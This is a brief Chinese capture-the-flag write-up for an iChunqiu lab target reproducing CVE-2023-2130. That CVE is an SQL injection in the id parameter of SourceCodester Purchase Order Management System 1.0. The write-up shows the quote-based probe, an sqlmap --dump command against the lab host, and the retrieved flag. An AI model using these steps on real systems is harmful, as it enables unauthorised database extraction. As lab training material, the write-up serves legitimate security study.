春秋云镜 CVE-2023-2130

靶标介绍：

       在SourceCodester采购订单管理系统1.0中发现了一项被分类为关键的漏洞。受影响的是组件GET参数处理器的文件/admin/suppliers/view_details.php中的一个未知函数。对参数id的操纵导致了SQL注入。可以远程发起攻击。

开启靶场

       

       打开靶场，是一个登陆界面。根据介绍，受影响的是组件GET参数处理器的文件/admin/suppliers/view_details.php中的一个未知函数。对参数id的操纵导致了SQL注入。

直接访问给出有漏洞的地址构造id=1

eci-2zebg74uonfjoctoadr0.cloudeci1.ichunqiu.com/admin/suppliers/view_details.php?id=1

测试SQL注入，使用and 1=1,and 1=2，没有发现注入，再使用单引号 ' ，存在注入。

使用sqlmap

sqlmap.py -u "eci-2zebg74uonfjoctoadr0.cloudeci1.ichunqiu.com/admin/suppliers/view_details.php?id=1" --batch --dump

得到flag: flag{1db9d122-2359-4027-ac11-c3bd7c68d32c}